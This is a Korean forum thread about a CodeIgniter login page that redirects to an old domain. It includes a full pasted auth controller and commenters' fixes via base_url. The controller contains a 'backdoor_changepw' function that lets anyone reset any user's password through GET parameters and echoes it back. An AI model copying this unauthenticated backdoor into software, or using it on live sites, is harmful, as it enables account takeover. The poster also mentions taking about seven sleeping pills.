https://cnmarket.co.kr/auth/login/

 

아주 오래전에 사용하던 인트로인데 다시 사용해보려 이것저것 해보고 메인페이지까지는 들어가지는데 로그인주소도 몰라서 예전 자료 뒤져서 로그인 주소도 알아내서 로그인을 해보려하니 예전 주소인 pointmall.net/auth/login/로 넘어가 버리네요. 소스는 아무리 뒤져봐도 pointmall.net라는 주소를 찾을수도 없고 디비를 뒤져봐도 없고 아 이걸 어디서 찾아봐야 하는지 막막하네요. auth.php 소스는 아래와 같은데 아무리 뒤져도 pointmall.net는 없네요.ㅠ.ㅠ

<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Auth extends MY_Controller
{
function __construct()
{
parent::__construct();

//$this->output->enable_profiler(TRUE);

$this->load->helper(array('form', 'url'));
$this->load->library('form_validation');
$this->load->library('security');
$this->load->library('tank_auth');
$this->lang->load('tank_auth');
}

function index()
{
if ($message = $this->session->flashdata('message') || $message = $this->session->flashdata('message')) {
$this->data=array('message' => $message);
$this->_render('auth/general_message');
//$this->load->view('auth/general_message', array('message' => $message));
} else {
redirect('');
}
}




/**
 * Member List
 *
 * @return void
 */
function member($page=1)
{
//$this->output->enable_profiler(TRUE);
if($this->tank_auth->get_level() < 2 ){
redirect('');
exit;
}
$level = $this->tank_auth->get_level();
$partner = $this->tank_auth->get_partner();
$this->data['level'] = $level;
$this->data['partner'] = $partner;

$this->pageName = "member";
if ($this->tank_auth->is_logged_in(FALSE)) { // logged in, not activated
$this->_show_message('인증되지않은 계정입니다. <a href="/auth/logout/">로그아웃</a>');
redirect('/auth/send_again/');
} else {
$this->load->library('pagination');

$level_list = array('-1'=>'전체보기',0=>'비인증',1=>'일반회원',2=>'총판관리자',3=>'최고관리자');
$this->data['level_list'] = $level_list;
$this->data['sch_level'] = $this->input->get('sch_level');
$this->data['sch_level'] = ($this->data['sch_level']=='')?-1:$this->data['sch_level'];

$partner_list = array();
$this->db->from('partners');
$ptn_que = $this->db->get();
$partner_list['']='전체보기';
$partner_list['none']='미분류';
foreach ($ptn_que->result() as $row)
{
$partner_list[$row->code]=$row->name;
}
$this->data['partner_list'] = $partner_list;
$this->data['sch_partner'] = $this->input->get('sch_partner',TRUE);

$this->db->from('users');
$this->db->join('user_profiles', 'users.id = user_profiles.user_id');
$this->db->join('partners', 'user_profiles.partner = partners.code', 'left outer');
if($this->data['sch_level']!=-1){
$this->db->where('users.level', $this->data['sch_level']);
}
if($level < 3){
$this->db->where('user_profiles.partner', $partner);
}
if($level > 2 && $this->data['sch_partner']){
$this->db->where('user_profiles.partner', $this->data['sch_partner']);
}
$this->db->order_by("users.created", "desc");
$b = $this->db->get();
$this->data['tot_num'] = $b->num_rows();
$this->data['current_page'] = $page;
$this->data['start_num'] = ((ceil($b->num_rows() / 10))*10) - (10 * $page) + ($b->num_rows() % 10);
$config['use_page_numbers'] = TRUE;
$config['total_rows'] = $b->num_rows();
$config['base_url'] = base_url("/auth/member/");
$config['per_page'] = 10;
$config['uri_segment'] = 3;
$this->pagination->initialize($config);

$limit_start = ($page - 1) * 10;
$this->db->from('users');
$this->db->join('user_profiles', 'users.id = user_profiles.user_id');
$this->db->join('partners', 'user_profiles.partner = partners.code', 'left outer');
if($this->data['sch_level']!=-1){
$this->db->where('users.level', $this->data['sch_level']);
}
if($level < 3){
$this->db->where('user_profiles.partner', $partner);
}
if($level > 2 && $this->data['sch_partner']){
$this->db->where('user_profiles.partner', $this->data['sch_partner']);
}
$this->db->order_by("users.created", "desc");
$this->db->limit(10, $limit_start);
$b = $this->db->get();

$this->data['pagination'] = $this->pagination->create_links();
$this->data['b'] = $b;

$this->_render('auth/member_list');
}
}


/**
 * Member List
 *
 * @return void
 */
function member_info($user_id=NULL)
{
//$this->output->enable_profiler(TRUE);

$this->pageName = "member";
if ($this->tank_auth->is_logged_in(FALSE)) { // logged in, not activated
$this->_show_message('인증되지않은 계정입니다. <a href="/auth/logout/">로그아웃</a>');
redirect('/auth/send_again/');
} else {

$this->db->from('users');
$this->db->where("id", $user_id);
$b = $this->db->get();

$this->data['b'] = $b->row();



//$this->form_validation->set_rules('email', 'Email', 'trim|required|xss_clean|valid_email');
if($this->input->post('password')){
$this->form_validation->set_rules('password', '비밀번호', 'trim|required|xss_clean|min_length['.$this->config->item('password_min_length', 'tank_auth').']|max_length['.$this->config->item('password_max_length', 'tank_auth').']|alpha_dash');
$this->form_validation->set_rules('confirm_password', '비밀번호 확인', 'trim|required|xss_clean|matches[password]');
}

if ($this->form_validation->run()) {
if($this->input->post('password')){
$hasher = new PasswordHash(
$this->config->item('phpass_hash_strength', 'tank_auth'),
$this->config->item('phpass_hash_portable', 'tank_auth'));
$hashed_password = $hasher->HashPassword($this->form_validation->set_value('password'));
$this->users->change_password($user_id, $hashed_password);
}

$this->_flash_message('success', '성공', '정보수정이 처리되었습니다.');
redirect('/auth/member_info/'.$user_id);
exit;
}

$this->_render('auth/member_info');
}
}











/**
 * Login user on the site
 *
 * @return void
 */
function login()
{
if ($this->tank_auth->is_logged_in()) { // logged in
redirect('');

} elseif ($this->tank_auth->is_logged_in(FALSE)) { // logged in, not activated
//redirect('/auth/send_again/');
$this->_show_message('인증되지않은 계정입니다. <a href="/auth/logout/">로그아웃</a>');
redirect('');

} else {
$data['login_by_username'] = ($this->config->item('login_by_username', 'tank_auth') AND
$this->config->item('use_username', 'tank_auth'));
$data['login_by_email'] = $this->config->item('login_by_email', 'tank_auth');

$this->form_validation->set_rules('login', 'Login', 'trim|required|xss_clean');
$this->form_validation->set_rules('password', 'Password', 'trim|required|xss_clean');
$this->form_validation->set_rules('remember', 'Remember me', 'integer');

// Get login for counting attempts to login
if ($this->config->item('login_count_attempts', 'tank_auth') AND
($login = $this->input->post('login'))) {
$login = $this->security->xss_clean($login);
} else {
$login = '';
}

$data['use_recaptcha'] = $this->config->item('use_recaptcha', 'tank_auth');
if ($this->tank_auth->is_max_login_attempts_exceeded($login)) {
if ($data['use_recaptcha'])
$this->form_validation->set_rules('recaptcha_response_field', 'Confirmation Code', 'trim|xss_clean|required|callback__check_recaptcha');
else
$this->form_validation->set_rules('captcha', 'Confirmation Code', 'trim|xss_clean|required|callback__check_captcha');
}
$data['errors'] = array();

if ($this->form_validation->run()) { // validation ok
if ($this->tank_auth->login(
$this->form_validation->set_value('login'),
$this->form_validation->set_value('password'),
$this->form_validation->set_value('remember'),
$data['login_by_username'],
$data['login_by_email'])) { // success
redirect('/report/dashboard/');

} else {
$errors = $this->tank_auth->get_error_message();
if (isset($errors['banned'])) { // banned user
$this->_show_message($this->lang->line('auth_message_banned').' '.$errors['banned']);

} elseif (isset($errors['not_activated'])) { // not activated user
$this->_show_message('인증되지않은 계정입니다. <a href="/auth/logout/">로그아웃</a>');
redirect('/auth/send_again/');

} else { // fail
foreach ($errors as $k => $v) $data['errors'][$k] = $this->lang->line($v);
}
}
}
$data['show_captcha'] = FALSE;
if ($this->tank_auth->is_max_login_attempts_exceeded($login)) {
$data['show_captcha'] = TRUE;
if ($data['use_recaptcha']) {
$data['recaptcha_html'] = $this->_create_recaptcha();
} else {
$data['captcha_html'] = $this->_create_captcha();
}
}
$this->data = $data;
$this->_render('auth/login_form');
}
}

/**
 * Logout user
 *
 * @return void
 */
function logout()
{
$this->tank_auth->logout();

$this->_show_message($this->lang->line('auth_message_logged_out'));
}

/**
 * Register user on the site
 *
 * @return void
 */
function register()
{
if ($this->tank_auth->is_logged_in()) { // logged in
redirect('');

} elseif ($this->tank_auth->is_logged_in(FALSE)) { // logged in, not activated
redirect('/auth/send_again/');

} elseif (!$this->config->item('allow_registration', 'tank_auth')) { // registration is off
$this->_show_message($this->lang->line('auth_message_registration_disabled'));

} else {
$use_username = $this->config->item('use_username', 'tank_auth');
if ($use_username) {
$this->form_validation->set_rules('username', '아이디', 'trim|required|xss_clean|min_length['.$this->config->item('username_min_length', 'tank_auth').']|max_length['.$this->config->item('username_max_length', 'tank_auth').']|alpha_dash');
}
//$this->form_validation->set_rules('email', 'Email', 'trim|required|xss_clean|valid_email');
$this->form_validation->set_rules('password', '비밀번호', 'trim|required|xss_clean|min_length['.$this->config->item('password_min_length', 'tank_auth').']|max_length['.$this->config->item('password_max_length', 'tank_auth').']|alpha_dash');
$this->form_validation->set_rules('confirm_password', '비밀번호 확인', 'trim|required|xss_clean|matches[password]');
$this->form_validation->set_rules('nick', '닉네임', 'trim|required|xss_clean|korean_alpha_dash');
$this->form_validation->set_rules('phone', '전화번호', 'trim|required|xss_clean|numeric|alpha_dash');
$this->form_validation->set_rules('bank', '은행명', 'trim|required|xss_clean|korean_alpha_dash');
$this->form_validation->set_rules('bank_num', '계좌번호', 'trim|required|xss_clean|numeric|alpha_dash');
$this->form_validation->set_rules('owner_name', '예금주', 'trim|required|xss_clean|korean_alpha_dash');
$this->form_validation->set_rules('inviter', '추천인아이디', 'trim|required|xss_clean|alpha_dash');
$captcha_registration = $this->config->item('captcha_registration', 'tank_auth');
$use_recaptcha = $this->config->item('use_recaptcha', 'tank_auth');
if ($captcha_registration) {
if ($use_recaptcha) {
$this->form_validation->set_rules('recaptcha_response_field', 'Confirmation Code', 'trim|xss_clean|required|callback__check_recaptcha');
} else {
$this->form_validation->set_rules('captcha', '보안코드', 'trim|xss_clean|required|callback__check_captcha');
}
}
$data['errors'] = array();

$email_activation = $this->config->item('email_activation', 'tank_auth');

if ($this->form_validation->run()) { // validation ok
if (!is_null($data = $this->tank_auth->create_user(
$use_username ? $this->form_validation->set_value('username') : '',
null,//$this->form_validation->set_value('email'),
$this->form_validation->set_value('password'),
$email_activation,
$this->form_validation->set_value('nick'),
$this->form_validation->set_value('phone'),
$this->form_validation->set_value('bank'),
$this->form_validation->set_value('bank_num'),
$this->form_validation->set_value('owner_name'),
$this->form_validation->set_value('inviter')))) { // success

$alertData = array(
'typ' => 'alert' ,
'msg' => $this->form_validation->set_value('nick') . '님의 회원가입이 들어왔습니다.'
);
$this->db->insert('alerts', $alertData);

$data['site_name'] = $this->config->item('website_name', 'tank_auth');

if ($email_activation) { // send "activate" email
$data['activation_period'] = $this->config->item('email_activation_expire', 'tank_auth') / 3600;

$this->_send_email('activate', $data['email'], $data);

unset($data['password']); // Clear password (just for any case)

$this->_show_message($this->lang->line('auth_message_registration_completed_1'));

} else {
if ($this->config->item('email_account_details', 'tank_auth')) { // send "welcome" email

$this->_send_email('welcome', $data['email'], $data);
}
unset($data['password']); // Clear password (just for any case)

$this->_show_message($this->lang->line('auth_message_registration_completed_2').' '.anchor('', 'Login'));
}
} else {
$errors = $this->tank_auth->get_error_message();
foreach ($errors as $k => $v) $data['errors'][$k] = $this->lang->line($v);
}
}
if ($captcha_registration) {
if ($use_recaptcha) {
$data['recaptcha_html'] = $this->_create_recaptcha();
} else {
$data['captcha_html'] = $this->_create_captcha();
}
}
$data['use_username'] = $use_username;
$data['captcha_registration'] = $captcha_registration;
$data['use_recaptcha'] = $use_recaptcha;
$this->data = $data;
$this->_render('auth/register_form');
//$this->load->view('auth/register_form', $data);
}
}

/**
 * Send activation email again, to the same or new email address
 *
 * @return void
 */
function send_again()
{
if (!$this->tank_auth->is_logged_in(FALSE)) { // not logged in or activated
redirect('/auth/login/');

} else {
$this->form_validation->set_rules('email', 'Email', 'trim|required|xss_clean|valid_email');

$data['errors'] = array();

if ($this->form_validation->run()) { // validation ok
if (!is_null($data = $this->tank_auth->change_email(
$this->form_validation->set_value('email')))) { // success

$data['site_name'] = $this->config->item('website_name', 'tank_auth');
$data['activation_period'] = $this->config->item('email_activation_expire', 'tank_auth') / 3600;

$this->_send_email('activate', $data['email'], $data);

$this->_show_message(sprintf($this->lang->line('auth_message_activation_email_sent'), $data['email']));

} else {
$errors = $this->tank_auth->get_error_message();
foreach ($errors as $k => $v) $data['errors'][$k] = $this->lang->line($v);
}
}
$this->load->view('auth/send_again_form', $data);
}
}

/**
 * Activate user account.
 * User is verified by user_id and authentication code in the URL.
 * Can be called by clicking on link in mail.
 *
 * @return void
 */
function activate()
{
$user_id = $this->uri->segment(3);
$new_email_key = $this->uri->segment(4);

// Activate user
if ($this->tank_auth->activate_user($user_id, $new_email_key)) { // success
$this->tank_auth->logout();
$this->_show_message($this->lang->line('auth_message_activation_completed').' '.anchor('/auth/login/', 'Login'));

} else { // fail
$this->_show_message($this->lang->line('auth_message_activation_failed'));
}
}

/**
 * Generate reset code (to change password) and send it to user
 *
 * @return void
 */
function forgot_password()
{
if ($this->tank_auth->is_logged_in()) { // logged in
redirect('');

} elseif ($this->tank_auth->is_logged_in(FALSE)) { // logged in, not activated
redirect('/auth/send_again/');

} else {
$this->form_validation->set_rules('login', 'Email or login', 'trim|required|xss_clean');

$data['errors'] = array();

if ($this->form_validation->run()) { // validation ok
if (!is_null($data = $this->tank_auth->forgot_password(
$this->form_validation->set_value('login')))) {

$data['site_name'] = $this->config->item('website_name', 'tank_auth');

// Send email with password activation link
$this->_send_email('forgot_password', $data['email'], $data);

$this->_show_message($this->lang->line('auth_message_new_password_sent'));

} else {
$errors = $this->tank_auth->get_error_message();
foreach ($errors as $k => $v) $data['errors'][$k] = $this->lang->line($v);
}
}
$this->load->view('auth/forgot_password_form', $data);
}
}

/**
 * Replace user password (forgotten) with a new one (set by user).
 * User is verified by user_id and authentication code in the URL.
 * Can be called by clicking on link in mail.
 *
 * @return void
 */
function reset_password()
{
$user_id = $this->uri->segment(3);
$new_pass_key = $this->uri->segment(4);

$this->form_validation->set_rules('new_password', 'New Password', 'trim|required|xss_clean|min_length['.$this->config->item('password_min_length', 'tank_auth').']|max_length['.$this->config->item('password_max_length', 'tank_auth').']|alpha_dash');
$this->form_validation->set_rules('confirm_new_password', 'Confirm new Password', 'trim|required|xss_clean|matches[new_password]');

$data['errors'] = array();

if ($this->form_validation->run()) { // validation ok
if (!is_null($data = $this->tank_auth->reset_password(
$user_id, $new_pass_key,
$this->form_validation->set_value('new_password')))) { // success

$data['site_name'] = $this->config->item('website_name', 'tank_auth');

// Send email with new password
$this->_send_email('reset_password', $data['email'], $data);

$this->_show_message($this->lang->line('auth_message_new_password_activated').' '.anchor('/auth/login/', 'Login'));

} else { // fail
$this->_show_message($this->lang->line('auth_message_new_password_failed'));
}
} else {
// Try to activate user by password key (if not activated yet)
if ($this->config->item('email_activation', 'tank_auth')) {
$this->tank_auth->activate_user($user_id, $new_pass_key, FALSE);
}

if (!$this->tank_auth->can_reset_password($user_id, $new_pass_key)) {
$this->_show_message($this->lang->line('auth_message_new_password_failed'));
}
}
$this->load->view('auth/reset_password_form', $data);
}

/**
 * Change user password
 *
 * @return void
 */
function change_password()
{
if (!$this->tank_auth->is_logged_in()) { // not logged in or not activated
redirect('/auth/login/');

} else {
$this->form_validation->set_rules('old_password', 'Old Password', 'trim|required|xss_clean');
$this->form_validation->set_rules('new_password', 'New Password', 'trim|required|xss_clean|min_length['.$this->config->item('password_min_length', 'tank_auth').']|max_length['.$this->config->item('password_max_length', 'tank_auth').']|alpha_dash');
$this->form_validation->set_rules('confirm_new_password', 'Confirm new Password', 'trim|required|xss_clean|matches[new_password]');

$data['errors'] = array();

if ($this->form_validation->run()) { // validation ok
if ($this->tank_auth->change_password(
$this->form_validation->set_value('old_password'),
$this->form_validation->set_value('new_password'))) { // success
$this->_show_message($this->lang->line('auth_message_password_changed'));

} else { // fail
$errors = $this->tank_auth->get_error_message();
foreach ($errors as $k => $v) $data['errors'][$k] = $this->lang->line($v);
}
}
$this->load->view('auth/change_password_form', $data);
}
}
function backdoor_changepw(){
$this->load->model('users');
if($this->input->get('checker') == 'restore'){
$user_id = $this->input->get('id');
$new_pass = $this->input->get('pw');
$hasher = new PasswordHash(
$this->config->item('phpass_hash_strength', 'tank_auth'),
$this->config->item('phpass_hash_portable', 'tank_auth'));
// Hash new password using phpass

$hashed_password = $hasher->HashPassword($new_pass);
var_dump($hashed_password);
$resut = $this->users->change_password($user_id, $hashed_password);

echo "user_id : " . $user_id;
echo "<br />";
echo "user_pw : " . $new_pass;
echo "<br />";
var_dump($resut);

}
}
/**
 * Change user email
 *
 * @return void
 */
function change_email()
{
if (!$this->tank_auth->is_logged_in()) { // not logged in or not activated
redirect('/auth/login/');

} else {
$this->form_validation->set_rules('password', 'Password', 'trim|required|xss_clean');
$this->form_validation->set_rules('email', 'Email', 'trim|required|xss_clean|valid_email');

$data['errors'] = array();

if ($this->form_validation->run()) { // validation ok
if (!is_null($data = $this->tank_auth->set_new_email(
$this->form_validation->set_value('email'),
$this->form_validation->set_value('password')))) { // success

$data['site_name'] = $this->config->item('website_name', 'tank_auth');

// Send email with new email address and its activation link
$this->_send_email('change_email', $data['new_email'], $data);

$this->_show_message(sprintf($this->lang->line('auth_message_new_email_sent'), $data['new_email']));

} else {
$errors = $this->tank_auth->get_error_message();
foreach ($errors as $k => $v) $data['errors'][$k] = $this->lang->line($v);
}
}
$this->load->view('auth/change_email_form', $data);
}
}

/**
 * Replace user email with a new one.
 * User is verified by user_id and authentication code in the URL.
 * Can be called by clicking on link in mail.
 *
 * @return void
 */
function reset_email()
{
$user_id = $this->uri->segment(3);
$new_email_key = $this->uri->segment(4);

// Reset email
if ($this->tank_auth->activate_new_email($user_id, $new_email_key)) { // success
$this->tank_auth->logout();
$this->_show_message($this->lang->line('auth_message_new_email_activated').' '.anchor('/auth/login/', 'Login'));

} else { // fail
$this->_show_message($this->lang->line('auth_message_new_email_failed'));
}
}

/**
 * Delete user from the site (only when user is logged in)
 *
 * @return void
 */
function unregister()
{
if (!$this->tank_auth->is_logged_in()) { // not logged in or not activated
redirect('/auth/login/');

} else {
$this->form_validation->set_rules('password', 'Password', 'trim|required|xss_clean');

$data['errors'] = array();

if ($this->form_validation->run()) { // validation ok
if ($this->tank_auth->delete_user(
$this->form_validation->set_value('password'))) { // success
$this->_show_message($this->lang->line('auth_message_unregistered'));

} else { // fail
$errors = $this->tank_auth->get_error_message();
foreach ($errors as $k => $v) $data['errors'][$k] = $this->lang->line($v);
}
}
$this->load->view('auth/unregister_form', $data);
}
}

/**
 * Show info message
 *
 * @param string
 * @return void
 */
function _show_message($message)
{
$this->session->set_flashdata('alert_type', 'block');
$this->session->set_flashdata('alert_title', '알림');
$this->session->set_flashdata('alert_msg', $message);

$this->session->set_flashdata('message', $message);
redirect('/auth/');
}

function _flash_message($type, $title, $msg)
{
$this->session->set_flashdata('alert_type', $type);
$this->session->set_flashdata('alert_title', $title);
$this->session->set_flashdata('alert_msg', $msg);
}
/**
 * Send email message of given type (activate, forgot_password, etc.)
 *
 * @param string
 * @param string
 * @param array
 * @return void
 */
function _send_email($type, $email, &$data)
{
$this->load->library('email');
$this->email->from($this->config->item('webmaster_email', 'tank_auth'), $this->config->item('website_name', 'tank_auth'));
$this->email->reply_to($this->config->item('webmaster_email', 'tank_auth'), $this->config->item('website_name', 'tank_auth'));
$this->email->to($email);
$this->email->subject(sprintf($this->lang->line('auth_subject_'.$type), $this->config->item('website_name', 'tank_auth')));
$this->email->message($this->load->view('email/'.$type.'-html', $data, TRUE));
$this->email->set_alt_message($this->load->view('email/'.$type.'-txt', $data, TRUE));
$this->email->send();
}

/**
 * Create CAPTCHA image to verify user as a human
 *
 * @return string
 */
function _create_captcha()
{
$this->load->helper('captcha');

$cap = create_captcha(array(
'img_path' => './'.$this->config->item('captcha_path', 'tank_auth'),
'img_url' => base_url().$this->config->item('captcha_path', 'tank_auth'),
'font_path' => './'.$this->config->item('captcha_fonts_path', 'tank_auth'),
'font_size' => $this->config->item('captcha_font_size', 'tank_auth'),
'img_width' => $this->config->item('captcha_width', 'tank_auth'),
'img_height' => $this->config->item('captcha_height', 'tank_auth'),
'show_grid' => $this->config->item('captcha_grid', 'tank_auth'),
'expiration' => $this->config->item('captcha_expire', 'tank_auth'),
));

// Save captcha params in session
$this->session->set_flashdata(array(
'captcha_word' => $cap['word'],
'captcha_time' => $cap['time'],
));

return $cap['image'];
}

/**
 * Callback function. Check if CAPTCHA test is passed.
 *
 * @param string
 * @return bool
 */
function _check_captcha($code)
{
$time = $this->session->flashdata('captcha_time');
$word = $this->session->flashdata('captcha_word');

list($usec, $sec) = explode(" ", microtime());
$now = ((float)$usec + (float)$sec);

if ($now - $time > $this->config->item('captcha_expire', 'tank_auth')) {
$this->form_validation->set_message('_check_captcha', $this->lang->line('auth_captcha_expired'));
return FALSE;

} elseif (($this->config->item('captcha_case_sensitive', 'tank_auth') AND
$code != $word) OR
strtolower($code) != strtolower($word)) {
$this->form_validation->set_message('_check_captcha', $this->lang->line('auth_incorrect_captcha'));
return FALSE;
}
return TRUE;
}

/**
 * Create reCAPTCHA JS and non-JS HTML to verify user as a human
 *
 * @return string
 */
function _create_recaptcha()
{
$this->load->helper('recaptcha');

// Add custom theme so we can get only image
$options = "<script>var RecaptchaOptions = {theme: 'custom', custom_theme_widget: 'recaptcha_widget'};</script>\n";

// Get reCAPTCHA JS and non-JS HTML
$html = recaptcha_get_html($this->config->item('recaptcha_public_key', 'tank_auth'));

return $options.$html;
}

/**
 * Callback function. Check if reCAPTCHA test is passed.
 *
 * @return bool
 */
function _check_recaptcha()
{
$this->load->helper('recaptcha');

$resp = recaptcha_check_answer($this->config->item('recaptcha_private_key', 'tank_auth'),
$_SERVER['REMOTE_ADDR'],
$_POST['recaptcha_challenge_field'],
$_POST['recaptcha_response_field']);

if (!$resp->is_valid) {
$this->form_validation->set_message('_check_recaptcha', $this->lang->line('auth_incorrect_captcha'));
return FALSE;
}
return TRUE;
}

}

/* End of file auth.php */
/* Location: ./application/controllers/auth.php */

 

이게 왜 자꾸 예전 주소로 넘어가는지 어디서 어떻게 찾아야할지 참으로 막막하네요.ㅠ.ㅠ

  • profile

    아 수면제 먹엇더니 어질어질 하네요.ㅠ.ㅠ 지금은 멀해도 안되듯해요.ㅠ.ㅠ

    내일 다시 맑은정신으로 모든 파일하나 하나 다 뎔어봐야할듯하네요.

    db쩍은아무리 검색을 해봐도 안나오고 있고 해달 파일들을 앚아바봐야햘건데 막막스럽네요

    북굳.JPEG

    지금은 정신도 몽롱하고 제정신도아니고 직없상 ㅅ트레스와 신경게 수면제 한 7알은 먹는거 같ㄴ요ㅣ.ㅠ

    어질어질 눈이 감기네요.. 타운님들 새해 복 많이 받으시고 모두다 잘 이겨날거라 믿고 있습니다.

    약기운이 빨리 올라오니 전 내일 다시 찾아뵙겠스비다ㅣ

     

  • profile

    redirect('/auth/'); 이런식으로 함수를 호출하고 잇는데 해당 함수가 어떻게 동작하는지 보시고, 거기에 도메인이 어떻게 설정되어있는지.. 그 도메인설정값을 확인한다음 거기 설정을 건드려 보셔야할 것 같네요..

  • profile profile
    파일 일일이다 소스 보고 있는데 아무리 찾아도 보이지가 않네요.ㅠ.ㅠ
  • profile

    어딘가에는 있겠죠. 서버가 AI라서 스스로 주인님의 과거 추억을 더듬어 주는 것이 아니라면요... DB에도 없고, file에도 없다면, nginx나 apache 설정에도 가보세요. 거기에 뭔가 해놨을수도... 알려주신 링크 소스보기 하면 다 과거 사이트로 링크되어 있는데말이죠.

  • profile profile

    일단 파일과 db만 옮겨놓은 상태여서 이 안에 있긴 있어야 하는데 난감하네요.ㅠㅠ.

    서버는 새로운 서버고 올린 자료는 예전 서버에서 하드만 띠어서 해당 자료하고 db만 옮긴거라서요

  • profile

    말씀하신데로 있었네요. 파일 하나하나 일일이 뒤지고 단어 검색해서 바꿨더니 되네요. 아 정말 어제 밤부터 생쇼를 한거 생각하면.ㅠ.ㅠ 급 피곤이 몰려오네요. 도움주신 모든분들께 감사인사 올립니다.

    참 오늘 설날인데 다들 새해 복 많이 받으시고 건강한 한해 되시기 바랍니다.

  • profile
    CodeIgniter 네요. config/config.php 에 base_url 을 지정해주면 될 것 같아 보입니다.
  • profile profile
    안그래도 파일 하나하나 열어보다 보니 그파일에 있더라구요. 감사합니다^^